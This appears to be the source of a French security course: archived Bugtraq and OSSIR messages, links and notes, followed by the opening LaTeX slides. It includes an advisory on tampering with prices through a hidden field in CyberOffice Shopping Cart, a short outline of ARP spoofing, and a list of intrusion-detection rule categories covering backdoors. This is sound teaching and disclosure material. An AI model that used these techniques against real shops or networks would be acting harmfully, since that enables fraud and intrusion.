] Distribution: world Newsgroups: comp.sys.sun.announce Followup-To: poster From: flash@FlashBack.com (John J. McLaughlin) Reply-To: flash@FlashBack.com Organization: FlashBack, Inc. Approved: flash@sun.com Subject: SN Vol 12 #2 2737 Crypto Accelerator I -- PCI-Bus-Based SSL Accelerator Board Message-ID: Date: Mon, 06 Nov 2000 04:32:07 GMT X-Trace: news2.mia 973485127 208.63.239.9 (Sun, 05 Nov 2000 23:32:07 EST) NNTP-Posting-Date: Sun, 05 Nov 2000 23:32:07 EST MIME-Version: 1.0 http://sun.systemnews.com/system-news/jobdir/submitted/2000.12.all.w2.html#2737 The Sun Crypto Accelerator I is a PCI-bus-based SSL accelerator board supporting Sun server platforms using Solaris 2.6, 7, & 8. As a co-processor solution which off-loads the SSL function, used in many web applications, it supports iPlanet Webserver 3.6, 4.0 & 4.1, iPlanet Portal Server 3.0 SP1, and Apache. This accelerator board provides as much as five times the performance improvement to a system not using any acceleration, with a speed of 200 Ops/Sec per board. It is able to scale up to 1400 operations per second. It is suitable for e-commerce applications using SSL encryption via PCKS11 interface. This accelerator board is especially of interest to the following types of companies: - Banking/Financial Services: Much of the banking industry has been using SSL as a method of encryption for a number of years. The benefit of the Sun Crypto Accelerator board is the improvement in the number of simultaneous transactions and scalability, as many customers have larger server web implementations. - ISP/MSP (managed server providers): This market has a tendency to install large distributed server farms with lots of machines. The benefit is the reduced need for additional capacity planning for the web session load. The Accelerator board completely off-loads and speeds up the process of authentication as well as doing 5x the number of simultaneous connections. - Internet/intranet web implementation by brick-and-mortar or e-business company: Most of these companies are in need of intranet or Internet web access for employees as well as customers. With the need for remote work and web based transactions, the need for SSL is in high demand. Therefore, the benefit of increasing speed at an incrementally small cost is great. The Sun Crypto Accelerator I allows for a more cost-effective implementation to handle the transaction load increases of e-commerce. It can handle more simultaneous transactions, faster transactions, and fewer time-outs -- resulting in less dropped connections and optimized performance for system SSL authentication load. These benefits result in more cost-effective planning for server capacity planning. ---------------------------------------------------------------------------- To subscribe to the weekly "System News for Sun Users", fill in the request form at http://sun.systemnews.com or send email to John J. McLaughlin, Editor Specify text, PDF or web links. (c) 2000 System News, Inc. [2 ] -- -- THierry Besançon La NSA justifie Echelon : http://www.internetactu.com/flash/flash130-18octobre.html#t2 Le FBI cherche à protéger son Carnivore : http://www.internetactu.com/archives/iactu54.html#ten1 AIDE (http://www.cs.tut.fi/~rammer/aide.html) est très simple et rapide à mettre en oeuvre. X-Coding-System: nil Date: Thu, 12 Oct 2000 14:32:15 -0600 Reply-To: Kurt Seifried From: Kurt Seifried Subject: Re: File "shredding" To: BUGTRAQ@SECURITYFOCUS.COM Content-Length: 928 X-Status: $$$$ The only way to be somewhat sure (high degree of confidence, oh yeah) is to keep the file encrypted on the disk at all times and only decrypt it in memory (which unfortunately also means swap partitions nowadays). OpenBSD has such a beastie, and it is possible in other OS's. If you want to be really paranoid you could have a program wipe swap as part of shutdown, one option is http://wipe.sourceforge.net/. For example in Linux use swapoff, then wipe the device(s) that had the swap partition. From: http://www.securityportal.com/research/cryptodocs/basic-book/ Chapter 10 - Encrypting files and drives in Linux, BSD, and other Unices http://www.securityportal.com/research/cryptodocs/basic-book/chapter-10.html I'd cut and paste it here but it's about 5 printed pages in a small font =). Kurt Seifried - seifried@securityportal.com SecurityPortal, your focal point for security on the net http://www.securityportal.com/ Plus de renseignements : chapitre 5. "Le chiffrement de systèmes de fichiers" sur http://www.hsc.fr/ressources/presentations/linux2000/ Date: Thu, 12 Oct 2000 14:23:31 -0400 Reply-To: Mark Loveless From: Mark Loveless Subject: Freeware VLAD Updated To: BUGTRAQ@SECURITYFOCUS.COM Content-Length: 732 X-Status: $$$$ VLAD the Scanner, RAZOR's open source security scanner that checks the SANS Top Ten, has been updated. There are now more than 160 cgi checks, and several minor bugs have been fixed. And it is still the only open source scanner that can brute force check multiple protocols for weak/no passwords (telnet, ftp, smb, ssh, etc). This is not a full-featured security scanner, but one aimed at the SANS Top Ten list. For more info: VLAD the Scanner: http://razor.bindview.com/tools/vlad/index.shtml SANS Top Ten: http://www.sans.org/topten.htm Free trial of HackerShield (does the Top Ten list, plus more): http://www.bindview.com/products/hackershield/ Mark Loveless thegnome@razor.bindview.com RAZOR Security BindView Corporation La page d'accueil : http://www.microsoft.com/france/technet/themes/secur/default.asp est bcp plus riche. En ce qui concerne les services voir : http://www.microsoft.com/france/technet/Themes/secur/info/info.asp?mar=/france/technet/Themes/Secur/info/securnt.html&xmlpath=/france/technet/Themes/secur/Rezo.xml&rang=6 http://www.microsoft.com/france/technet/produits/info.asp?mar=/france/technet/produits/Winnt4S/info/secnt2.html X-Coding-System: nil Mail-from: From Olivier.Aubert@enst-bretagne.fr Wed Sep 27 11:09 MET 2000 Date: Wed, 27 Sep 2000 11:09:25 +0200 (MET DST) From: Olivier AUBERT To: Ronan Keryell Subject: linux et chiffrement Message-ID: MIME-Version: 1.0 Content-Length: 359 X-Status: $$$$ http://fachschaft.physik.uni-bielefeld.de/leute/marc/Encryption-HOWTO/Encryption-HOWTO.html How to set up a Linux 2.2 system to use encryption in both disk and network accesses. This document describes how you can use the International Kernel Patch and other packages to make harddisk contents and network traffic inaccessible to others by encrypting them. http://www.guardent.com/docs/FormatString.PDF Date: Mon, 2 Oct 2000 11:06:06 +0100 Reply-To: Security Team From: Security Team Subject: DST2K0036: Price modification possible in CyberOffice Shopping Ca rt X-To: "win2ksecadvice@LISTSERV.NTSECURITY.NET" , "NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM" To: BUGTRAQ@SECURITYFOCUS.COM Content-Length: 3725 X-Status: $$$$ All, We have released this with the permission of the vendor. Rgds Ollie ----- Ollie Whitehouse Security Team Leader tel: +44 (0)20 79160200 ============================================================================ Delphis Consulting Plc ============================================================================ Security Team Advisories [22/09/2000] securityteam@delphisplc.com [http://www.delphisplc.com/thinking/whitepapers/] ============================================================================ Adv : DST2K0036 Title : Price modification possible in CyberOffice Shopping Cart Author : DCIST (securityteam@delphisplc.com) O/S : Microsoft Windows NT 4 Server (SP5) Product : CyberOffice Shopping Cart v2 Date : 22/09/2000 I. Description II. Delphis Solution III. Vendor Comments IV. Disclaimer ============================================================================ I. Description ============================================================================ Vendor URL: http://www.smartwin.com.au/smartwin.htm Delphis Consulting Internet Security Team (DCIST) discovered the following vulnerability in CyberOffice Shopping Cart v2 under Windows NT. Severity: high - Price modification possible It is possible to modify the unit price of items as it is submitted as a hidden field as part of the order form. By saving a copy of the order form down locally and modify the value it is possible to submit a order form with a zero or even negative price value. example: The vendor solutions relies on referrers and is easily bypassed. From: John Viega Subject: ITS4 version 1.1 released To: BUGTRAQ@SECURITYFOCUS.COM Content-Length: 1868 X-Status: $$$$ [1 ] Version 1.1 of ITS4, the C/C++ source code security scanner, has been released. It is available from http://www.cigital.com/its4 Major changes include: - Added handlers for format string attacks, along w/ some supporting code. - Support was added to integrate ITS4 with the Visual Studio GUI. Directions are in the INSTALL file. Thanks to Bob Fleck (rfleck@cigital.com) for this contribution. - By default, identifiers with the same names as "bad" functions are not flagged, even though there is a slight chance that macro magic could be hiding a real problem. If you want the old behavior, use the flag "--paranoid". - Fixed a bug that redefined __cplusplus for most Solaris users without a getopt_long (Reported by lots and lots of people... thanks, all!). - Fixed several small bugs that probably have no impact on most users. The most important is that numbers are parsed as if ITS4 is a preprocessor, not a C parser. This helps ITS4 address many language extensions without choking (but not all). - Reliable Software Technologies changed its name to Cigital, Inc. The documentation and license have been modified to reflect this change. I also switched the signing key to my GPG key, which can be looked up on most major keyservers. The digital signature for the release is available at: http://www.cigital.com/its4/jviega/its4-1.1.tgz.asc First of all, there ___IS NO EXECUTE FLAG___ under the protected mode mechanism for the x86 series of processors. There is a single bit flag in the page-table called R/W - and, specifically, it determines whether you can write to the page. You can ALWAYS read from the page, and therefore, execute from the page. End of story. Dénis de service http://home.iae.nl/users/guido/papers/tcp_filtering.ps.gz Rajouter exemple tunnels ssh Résumer l'état de la loi sur la crypto US. Regarder syslog sécurisé dans ~/systeme/securite/syslogd From: ARREGUY Alexandre - NTR To: "'Bertrand Arquilliere'" , sec@ossir.org Subject: RE: Spoofing Date: Wed, 22 Mar 2000 14:23:26 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by www.ossir.org id OAA18301 Resent-From: sec@ossir.org X-Mailing-List: archive/latest/3147 X-Loop: sec@ossir.org Resent-Sender: sec-request@ossir.org Content-Length: 1841 X-Status: $$$$ Bonjour, je pense que vous vous interessez en premier lieu a l'IP spoofing. Dans ce cas, vous trouverez des articles interessants sur http://www.geocities.com/SiliconValley/Bay/9952/spoof_in.htm Le premier (de T. Shimomura) et le dernier (Phrack) donnent de nombreux details techniques a souhait. Si la machine qui attaque se trouve sur le meme reseau que la machine cible, on peut se debrouiller encore autrement en envoyant un paquet ARP forge. Le but est que la machine cible associe l'adresse IP de la machine a usurper avec l'adresse MAC de la machine qui attaque. Apparemment, ca marche, mais je n'ai pas teste. Cordialement, Alexandre Arreguy. Date: Fri, 10 Mar 2000 16:10:09 +0100 Reply-To: massimo@iac.rm.cnr.it From: massimo@iac.rm.cnr.it Subject: Linux patch for blocking buffer overflow based attacks X-To: bugtraq@securityfocus.com To: BUGTRAQ@SECURITYFOCUS.COM Mime-Version: 1.0 Content-Length: 1608 X-Status: $$$$ -------- From http://www.iac.rm.cnr.it/newweb/tecno/software/indexsoftware.htm is available a patch to the Linux kernel that we developed for blocking (most) buffer overflow based attacks. Basically we instrument some "critical" systems calls (execve, chmod,...) to check a database of information provided by the system administrator by means of a modified chmod command (also included in the software). A README file explains the installation procedure whereas a paper (BufOverA.ps.gz), that is submitted to the 9 Usenix Security Symposium, describes the details of our approach. We like to stress that this is NOT an alternative to solutions like StackGuard or ITS4 rather it should be considered an additional protection mechanism. The code has been tested for several months in our organizations (Rome University "La Sapienza" and Institute for Computing Applications) and should be compatible with any kernel >= 2.2.12-20. For any question, comment, suggestion, send a note to: emgab@tiscalinet.it. Have a nice day, Massimo --- Massimo Bernaschi: Istituto Applicazioni del Calcolo ---- | IAC-CNR | e-mail: massimo@iac.rm.cnr.it | | V.le del Policlinico 137 | phone: +39 06 88470229 | | 00161 Roma - ITALY | fax: +39 06 4404306 | ------------------------------------------------------------- -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.2 mQBtAzjE14kAAAEDALqbd8BzUQllZNgJlZZWUAd+ztvVgnHE2cOlPURH3r+OjIus ndHD2YZa73wI7FljN0EXHhgaxIUqfozjKwLd/Eeo9KHletO3p9XNyicq1Wx6Q3h5 sba4wj6EfYuLyKy33QAFEbQHbWFzc2ltbw== =rIXA -----END PGP PUBLIC KEY BLOCK----- X-Coding-System: nil Mail-from: From sec-request@ossir.org Wed Feb 23 10:29 MET 2000 Resent-Date: Wed, 23 Feb 2000 10:11:21 +0100 (MET) X-Authentication-Warning: www.ossir.org: list set sender to sec-request@ossir.org using -f Message-ID: <38B3A742.B182E944@adec.fr> Date: Wed, 23 Feb 2000 10:24:18 +0100 From: Nicolas FISCHBACH X-Mailer: Mozilla 4.7 [en] (X11; I; Linux 2.2.12-20 i686) X-Accept-Language: en MIME-Version: 1.0 To: sec@ossir.org Subject: Re: Web monitoring et Denial of service Content-Transfer-Encoding: 8bit Resent-From: sec@ossir.org X-Mailing-List: archive/latest/3050 X-Loop: sec@ossir.org Resent-Sender: sec-request@ossir.org Content-Length: 478 X-Status: $$$$ Laurent LEVIER wrote: > > Salut, Bonjour, > J'ai rencontré un outil, mais ne l'est pas teste, appele Zombie > Zapper, qui se pretend lutter contre les attaques DDOS. Nous essayons de lister tous les documents (hors articles de presse) et logiciels interessants lies aux attaques distribuees : http://www.securite.org/db/securite/attaquesdistribuees/ Nico. -- Nicolas FISCHBACH (nico@securite.org) http://www.securite.org/nico/ Securite.Org Team - http://www.securite.org X-Coding-System: nil Mail-from: From owner-bugtraq@SECURITYFOCUS.COM Fri Feb 18 23:15 MET 2000 Approved-By: aleph1@SECURITYFOCUS.COM Delivered-To: bugtraq@lists.securityfocus.com Delivered-To: BUGTRAQ@SECURITYFOCUS.COM Mime-Version: 1.0 X-Mailer: Mutt 1.0i Message-ID: <20000217151846.Z11665@rahul.net> Date: Thu, 17 Feb 2000 15:18:46 -0500 Reply-To: Bennett Todd From: Bennett Todd Subject: DDoS whitepaper X-To: BUGTRAQ@SECURITYFOCUS.COM To: BUGTRAQ@SECURITYFOCUS.COM Content-Length: 639 X-Status: $$$$ [1 ] I've done a small paper on the DDoS situation; people may find it helpful for passing to non-techies who are curious about WTF is going on. It's available at . It won't teach anybody on this list anything new. -Bennett [2 ] Mail-from: From sec-request@ossir.org Mon Dec 27 12:05 MET 1999 Resent-Date: Mon, 27 Dec 1999 11:48:28 +0100 (MET) X-Authentication-Warning: www.ossir.org: list set sender to sec-request@ossir.org using -f From: Stephane.Lentz@ansf.alcatel.fr Date: Mon, 27 Dec 1999 12:56:59 +0100 To: OSSIR Subject: Re: Quel(s) outils pour/contre les scans ? Message-ID: <19991227125659.A1268@nsfws7.ansf.alcatel.fr> Reply-To: Stephane.Lentz@ansf.alcatel.fr Mime-Version: 1.0 Content-Transfer-Encoding: 8bit X-Mailer: Mutt 1.0i In-Reply-To: <38672EB7.BB806A28@anteria.fr>; from Guillaume on Mon, Dec 27, 1999 at 10:17:43AM +0100 Organization: Alcanet International Resent-From: sec@ossir.org X-Mailing-List: archive/latest/2861 X-Loop: sec@ossir.org Resent-Sender: sec-request@ossir.org Content-Length: 1117 X-Status: $$$$ A mon avis tu devrais essayer snort : http://www.clark.net/~roesch/security.html Avec ce soft tu as des bibliothèques : - backdoor-lib - backdoors (Back Orifice, etc) - misc-lib - catch-all category - overflow-lib - buffer overflow rules - scan-lib - port scans, traceroutes, fingerprinting attempts, etc - web-lib - PHF scans, Cold Fusion, Frontpage, etc SL/ On Mon, Dec 27, 1999 at 10:17:43AM +0100, Guillaume wrote: > Bonjour ! > > Y a t-il un outil **léger** qui puisse être mis temporairement en oeuvre > (genre le week-end prochain) pour mieux détecter les tentatives > d'intrusion sur une machine linux ? > > J'hésite encore (mais j'ai peut-être tort) à me lancer dans > l'installation d'outils qui me paraissent (encore une fois peut-être à > tort) lourds (je cite nessus, mais sans avoir creusé, ne m'en voulez pas > !!). Un syslog amélioré me suffirait, je pense. > > D'avance merci. > > Guillaume. > > -- Stephane Lentz - Alcanet - Stephane. Lentz@alcatel.fr -------------------------------------------------------------- "The best way to predict the future is to invent it" (Alan Kay) X-Coding-System: nil Mail-from: From owner-bugtraq@SECURITYFOCUS.COM Tue Nov 23 08:03 MET 1999 Approved-By: aleph1@SECURITYFOCUS.COM Delivered-To: bugtraq@lists.securityfocus.com Delivered-To: BUGTRAQ@SECURITYFOCUS.COM X-Mailer: Mozilla 4.7 [en] (X11; U; Linux 2.0.36 i586) X-Accept-Language: en MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Message-ID: <3839FE78.E75324FE@cse.ogi.edu> Date: Tue, 23 Nov 1999 02:39:53 +0000 Reply-To: crispin@CSE.OGI.EDU From: Crispin Cowan Organization: Oregon Graduate Institute Subject: Buffer Overflow Survey Paper X-To: "BUGTRAQ@SECURITYFOCUS.COM" X-cc: Alfred Huger To: BUGTRAQ@SECURITYFOCUS.COM Content-Length: 1478 X-Status: $$$$ Six weeks ago, I asked Bugtraq for responses on the question of whether buffer overflows dominate the area of security vulnerabilities as part of a paper I was writing. Numerous people asked me to post results when I'm done. On the narrow question: approximately 2/3 of respondants thought that buffer overflows do indeed dominate the problem of security vulnerabilities. The remaining 1/3 thought that mis-configuration was the dominant problem. I respect both views, but think that "misconfiguration" is not really a software problem, it's an operational problem. Thus, one could say that buffer overflows are the leading cause of software vulnerabilities, and misconfiguration is the leading operational problem. Which problem dominates overall vulnerability is unclear. On the broader question: the paper is complete. It will appear at the DARPA Information Survivability Expo ( http://schafercorp-ballston.com/discex/ ) and will also appear as an invited talk at SANS 2000 ( http://www.sans.org/newlook/events/sans2000.htm ). This paper categorizes the various kinds of buffer overflow attacks, the various kinds of defensive measure that can be employed, and shows which defenses are effective against which attacks. The paper itself is available for download here: http://immunix.org/StackGuard/discex00.pdf Crispin ----- Crispin Cowan, CTO, WireX Communications, Inc. http://wirex.com Free Hardened Linux Distribution: http://immunix.org L'Ipv6 ne sera pas à la botte du FBI ----------------------------- Le FBI demandait à l'Internet Engineering Task Force (IETF) de bien vouloir inclure des techniques de suivie des données au sein du prochain protocole Internet. Cette requête s'est vue opposer une fin de non recevoir lors des rencontres de Washington qui se tenaient la semaine dernière. L'IETF s'est rangé du côté des arguments des professionnels de la sécurité des réseaux. Ils dénonçaient non seulement d'évidentes violations des libertés individuelles, mais aussi des astreintes techniques en matière de protection des données. http://www.ietf.org/ http://www.ietf.org/proceedings/99nov/unedit/l2tpext-minutes-99nov.txt http://www.epic.org/privacy/internet/letter_to_ietf.html X-Coding-System: nil Mail-from: From daverio@cri.ensmp.fr Thu Oct 21 11:09:20 1999 Message-Id: <199910210909.LAA20886@deauville.ensmp.fr> Date: Thu, 21 Oct 1999 11:09:13 +0200 (MET DST) From: Laurent DAVERIO Reply-To: Laurent DAVERIO Subject: Quelques adresses sur la sécurité informatique To: promo99@iar2m.ensmp.fr, all@cri.ensmp.fr MIME-Version: 1.0 Content-MD5: TdGxwb4yYgakOqffX8rXjw== X-Mailer: dtmail 1.3.0 CDE Version 1.3 SunOS 5.7 sun4u sparc Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by chailly.ensmp.fr id LAA24809 X-Status: $$$$ SecurityFocus : http://www.securityfocus.com/ Le site qui héberge la mailing list Bugtraq (voir ci-dessous) Info-Sec/Infowar : http://www.infowar.com/ Apparemment un site d'orientation plus commerciale NTBugtraq : http://www.ntbugtraq.com Le site qui héberge la mailing list NTBugtraq (voir ci-dessous) Rootshell : http://www.rootshell.com Comme son nom l'indique... Phrack : http://www.phrack.com Un journal de hackers en ligne Pour s'abonner à Bugtraq : If you do feel comfortable understanding English we recommend you instead subscribe to BUGTRAQ. You can do so by sending email to LISTSERV@SECURITYFOCUS.COM with a message body of: SUBS BUGTRAQ First-name Last-name Pour s'abonner à NTBugtraq : To subscribe to NTBugTraq, send a message to LISTSERV@RC.ON.CA, with SUBSCRIBE NTBUGTRAQ Firstname Lastname as the only message text (that means no subject is required). Turn off your automatic signatures please as this will only cause your subscription to be rejected and you will be sent a help file. -- Laurent DAVERIO Centre de Recherche en Informatique de l'École Nationale Supérieure des Mines de Paris (CRI-ENSMP) 35, Rue Saint-Honoré 77305 FONTAINEBLEAU CEDEX FRANCE Tel: (+33|0) 1.64.69.48.37 Fax: (+33|0) 1.64.69.48.47 E-mail: daverio@cri.ensmp.fr http://www.cri.ensmp.fr/~daverio La Page Trad : http://trad.org Date: Tue, 12 Oct 1999 15:19:44 -0400 From: "Steven M. Bellovin" Subject: Extra information in Word documents We've seen many stories, over the years, of information leaking via Word documents. Perhaps the most amusing such story is reported in Salon magazine. According to http://www.salon.com/tech/log/1999/10/12/microsoft_report/index.html, Microsoft's annual report was written on a Macintosh computer... Message-Id: <199909171819.OAA08679@gateway2.ey.com> Date: Fri, 17 Sep 1999 13:18:31 -0500 From: Ken Williams Subject: Unix/Linux antivirus software (Was: RE: preliminary C virus results (object code in infection)) To: unix-virus@virus.beergrave.net there are a couple of Unix/Linux antivirus products and resource web sites that i know of - AMaViS - A Mail Virus Scanner http://aachalon.de/AMaViS/ http://satan.oih.rwth-aachen.de/AMaViS/ AV-Software unter Linux http://av-linux.w3.to/ http://www.ce.is.fh-furtwangen.de/~link/security/av-linux.php3 H+BEDV http://www.antivir.de/ TkAntivir http://www.geiges.de/sebastian/ Sophos Anti-Virus http://www.sophos.de/ Network Associates VirusScan for Unix http://www.nai.com/beta/tvdbeta/unix/ Trend Micro Virus Scanner / InterScan VirusWall http://www.antivirus.com/products/beta_programs/linuxisvw/ http://www.antivirus.com/products/beta_programs/linuxisvw/beta_form.htm CyberSoft VFind Security ToolKit http://www.cyber.com/ KasperskyLab AntiViral Toolkit Pro http://www.kasperskylab.ru/english/products/eval.html Data Fellows F-Secure Anti-Virus http://www.datafellows.com/products/ AntiViral Toolkit Pro for Linux http://www.avp.com/download.html if you know of any others, please let me know, either via the list or directly. Thanks! Respectfully, Ken Williams http://perso.cybercable.fr/arboi/cryptFAQ/index.html http://www.cnrs.fr/Infosecu/guide/guide.pdf X-Coding-System: nil Mail-from: From sec-request@ossir.org Tue Aug 17 18:50:10 1999 Resent-Date: Tue, 17 Aug 1999 19:00:54 +0200 (MET DST) X-Authentication-Warning: www.ossir.org: list set sender to sec-request@ossir.org using -f Message-ID: <19990817164802.21538.rocketmail@web802.mail.yahoo.com> Date: Tue, 17 Aug 1999 09:48:02 -0700 (PDT) From: Michel Arboi Reply-To: arboi@bigfoot.com Subject: Re: Certification de ipfwadm / ipchains To: Jerome.Le-Tanou@linuxfr.org, sec@ossir.org MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Resent-From: sec@ossir.org X-Mailing-List: archive/latest/2338 X-Loop: sec@ossir.org Resent-Sender: sec-request@ossir.org X-Status: $$$$ > Cependant, on me demande de trouver une autorité ayant évalué et > validé la solution Linux + ipfwadm dans le même "esprit" que le SCSSI L'"esprit", ce sont les ITSEC. http://www.scssi.gouv.fr/document/docs/ITSEC/itsec.html http://www.scssi.gouv.fr/document/docs/ITSEM/itsem.html Ou l'ISO 15408. Ce genre de méthode n'est pas gratuite. Qui va payer ? Et il n'est pas évident que l'hypothétique "cible d'évaluation" corresponde à vos besoins. > Est-ce que l'un d'entre-vous à connaissance d'un tel document ? Rien sur Altavista. On en aurait entendu parler si ça existait... Voila, il ne vous reste plus qu'à vous offrir une certification ! _________________________________________________________ Do You Yahoo!? Get your free @yahoo.com address at http://mail.yahoo.com % Capabilities : X-Coding-System: nil Mail-from: From sec-request@ossir.org Mon Aug 16 14:52:50 1999 Resent-Date: Mon, 16 Aug 1999 15:03:03 +0200 (MET DST) X-Authentication-Warning: www.ossir.org: list set sender to sec-request@ossir.org using -f Date: Mon, 16 Aug 1999 14:41:17 +0200 From: Denis Ducamp To: sec@ossir.org Subject: Re: Certification de ipfwadm / ipchains Message-ID: <19990816144117.Q11447@hsc.fr> Mime-Version: 1.0 Content-Transfer-Encoding: 8bit X-Mailer: Mutt 0.95.6i In-Reply-To: ; from Xavier Beaudouin on Mon, Aug 16, 1999 at 02:20:28PM +0200 X-Operating-System: Linux formule 2.2.10 X-Organisation: Herve Schauer Consultants X-Web: http://www.hsc.fr/ Resent-From: sec@ossir.org X-Mailing-List: archive/latest/2329 X-Loop: sec@ossir.org Resent-Sender: sec-request@ossir.org X-Status: $$$$ On Mon, Aug 16, 1999 at 02:20:28PM +0200, Xavier Beaudouin wrote: > Salut Jérome, > > On Mon, 16 Aug 1999 Jerome.Le-Tanou@linuxfr.org wrote: > > > Je souhaite utiliser Linux (noyau 2.0.36) + ipfwadm comme firewall en > > remplacement de NetWall sous Aix. > > Hum.... 2.0.36 et ipfwadm ? C'est *vraiment* vieux ces options. > > Par contre je te conseille plutot les versions de kernel 2.2.10 et 2.2.11 > avec les patches de Alan Cox et ipchains... C'est "plus mieux". Il ne faut pas jeter quelque chose forcément parce que c'est vieux et que quelque chose d'autre existe de plus récent. Tout d'abord d'un point de vue stabilité, je pense qu'un noyau 2.0.37 (voire même le 2.0.36) est ce qu'il y a eu de mieux dans linux. Je n'ai été satisfait des noyaux 2.2 qu'à partir du 2.2.9 (à patcher en 2.2.11 si non compilé avec l'option always-defragment). Voir la page nmrc-OS mentionnée sur : http://www.hsc.fr/ressources/presentations/linux22/linux22-30.html Ensuite, d'un point de vue durcissement du noyau, il existe de nombreux patches pour les noyaux 2.0.3x ce qui n'est pas le cas pour les noyaux 2.2.x car les privilèges (capabilities) sont sensés régler tous ces problèmes. En attendant pour installer un système reposant entièrement sur les privilèges il faut le faire exprès... Voir http://www.hsc.fr/ressources/presentations/linux22/linux22-4.html à http://www.hsc.fr/ressources/presentations/linux22/linux22-12.html Denis Ducamp. -- |\ _,,,---,,_ Denis Ducamp Zz /,`.-'`' -. ;-;;,_ Hervé Schauer Consultants |,4- ) )-,_.,,\ ( `'-' http://www.hsc.fr/ '---''(_/--' `-'\_)Isn't there always a cat on whatever you're reading? %% Rajouter les sauvegardes Practical UNIX \& Internet Security Ch 7 %% Kerberos X-Coding-System: nil Mail-from: From respinfo-owner@paris.ensmp.fr Mon Jun 26 10:08 MET 2000 Message-Id: <200006260807.e5Q87vr27961@vientiane.cma.fr> X-Mailer: exmh version 2.1.2 06/08/2000 To: Laurent DAVERIO Cc: respinfo@paris.ensmp.fr, serge.algarotti@cemef.cma.fr Subject: Re: [RESEAU] traceroute In-Reply-To: Message from Laurent DAVERIO of "Fri, 23 Jun 2000 11:04:41 +0200." <200006230904.LAA21624@viroflay.ensmp.fr> Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Date: Mon, 26 Jun 2000 10:07:56 +0200 From: Serge ALGAROTTI X-Loop: respinfo@paris.ensmp.fr X-Sequence: 242 Content-Length: 854 X-Status: $$$$ Hello, > Un petit problème quand meme : à chaque requete de visualisation d'une > route, le soft envoie un message (port UDP 40000 ou quelque chose du > genre) à sa maison mère. Pas très clair, tout ça... Il y a pas mal de shareware (ou autres) qui utilisent par exemple des softs comme aureate ou d'autres outils pour envoyer des infos. Certains sharewares l'indiquent, d'autres non. Voir http://grc.com/optout.htm qui est un site consacré aux "Spyware". Ils essayent de tenir à jour une liste des logiciels spyware ou douteux. Par exemple Copernic est dans la liste des "The Suspicious Software/Services Index"... voir aussi http://www.crosswinds.net/~sebsauvage/noaura/ -- Serge ALGAROTTI [http://www-cemef.cma.fr/] Ecole des Mines de Paris / CEMEF UMR CNRS n° 7635 [tel: 04 93 95 74 02] % Pour compenser le fontifyer: >>$ \fi \documentclass[a4]{seminar} \input{seminar.bug} \input{seminar.bg2} \def\slidename{Transparent} \def\listslidename{Table des transparents} \usepackage[latin1]{inputenc} \usepackage[T1]{fontenc} \usepackage{array,multicol} \usepackage{amsmath,wasysym,marvosym} \usepackage{verbatim,alltt} %\usepackage{french} %% Mes choses bien à moi : %%\usepackage{perso2e,trans2e_rk,bbold2e} \usepackage{perso2e} %% bbold2e doit apparaître après trans2e_rk : \usepackage{bbold2e} %\input{abbrev_pomp} \usepackage[backref,dvips,pdfauthor=Ronan.Keryell@enst-bretagne.fr]{hyperref} \usepackage{trans2e_rk,LienPDF} \let\TailleExemple=\small \newenvironment{exemple}{\VerbatimEnvironment\bgroup\TailleExemple\begin{Verbatim}}{\end{Verbatim}\egroup} \newcommand{\NAMED}{NAMED} \newcommand{\RFC}[1]{\href{http://www.pasteur.fr/cgi-bin/aglimpse/01?query=RFC+#1}{RFC~#1}} \begin{document} %% Récupère le numéro de version RCS : \def\getVersion Revision: #1 {\def\Version{#1}} \def\getDollars$#1${\getVersion#1} \getDollars$Revision: 2740 $ \DealWithTwoUp \input{titre} \slidepagestyle{empty} \let\section\slidepart \let\subsection\slidevolume \def\label#1{} \DealWithColors \TRANSTITLESIZE \slideframe{none} \begin{slide} \couleurtexte \maketitle \addtocounter{slide}{-1} \slidepagestyle{empty} \end{slide} \TRANSNORMALSIZE \slidepagestyle{CRI} \begin{trans}{Copyright (c)} \begin{itemizer} \item Copyright (c) 1986--2037 by \href{mailto:Ronan.Keryell@cri.ensmp.fr}{\texttt{Ronan.Keryell@cri.ensmp.fr}}. This material may be distributed only subject to the terms and conditions set forth in the Open Publication License, v1.0 or later (the latest version is presently available at \LienPDF{http://www.opencontent.org/openpub/}). \item Si vous améliorez ces cours, merci de m'envoyer vos modifications ! \texttt{:-)} \item Transparents 100\,\% à base de logiciels libres (La\TeX,...) \item « Je suis contre les polys » (cf CdV) mais : \begin{itemizet} \item Cours « cliquable » \item Dense \texttt{:-(} \item Table des matières \end{itemizet} \end{itemizer} \end{trans} \slidepart{Introduction} \begin{trans}{Introduction} \begin{itemize} \item Place croissante de l'informatique et des télécommunications \item Besoin d'accéder à des ressources sur Internet, d'en exporter mais aussi de se protéger \item \Attention{} Les fichiers représentent la propriété intellectuelle. Toute la vie d'une entreprise sous forme de fichiers... \item La majorité des entreprises ne survivent pas à moyen terme à la perte de leur informatique ou leur données \begin{itemize} \item 43\,\% des sociétés disparaissent immédiatement \item Seulement 29\,\% sont encore là après 2 ans \frownie \end{itemize} \item De plus en plus de fonctionnalités, de systèmes d'exploitation et d'ordinateurs : \vavers{} $\nearrow$ augmentation de la complexité et des risques potentiels \item Informatique partout (éclairage, ascenseurs, climatisation,...) à commande via réseau \item Déferlement de hordes d'utilisateurs pas toujours fréquentables plus (\emph{crackers} et autres pirates) ou moins (\emph{script kiddies}) dangereux \item Faire le tri dans tous les nouveaux concepts plus ou moins sécurisés (ActiveX...)~ \item \vavers{} Expertise en sécurité nécessaire pour établir une bonne politique sécurité : les avantages d'Internet sans les inconvénients \end{itemize} \end{trans} \begin{trans}{Poids économique en 2000} \begin{itemizer} \item Source Datamonitor (cabinet britanique) \item \$8.7G d'investissements, \$15G de pertes \item 50\% des entreprises consacrent $<5$\% budget info \item CA parefeu \$1.5G, antivirus \$1.1G \item Prévisions 1999 croissance 2005~: VPN \$3.9G, PKI \$2.6G \item Surestimation ? Sous-estimation ? \item Sous estimation en France ? \end{itemizer} \end{trans} \begin{trans}{Ressources} \begin{itemizer} \item En français \begin{itemizet} \item \emph{La sécurité sur Internet --- Firewalls}, D. Brent Chapman \& Elizabeth D. Zwicky, 1996, 2-84177-018-4, O'Reilly International Thomson \item \LienPDF{http://www.ssi.gouv.fr} Serveur 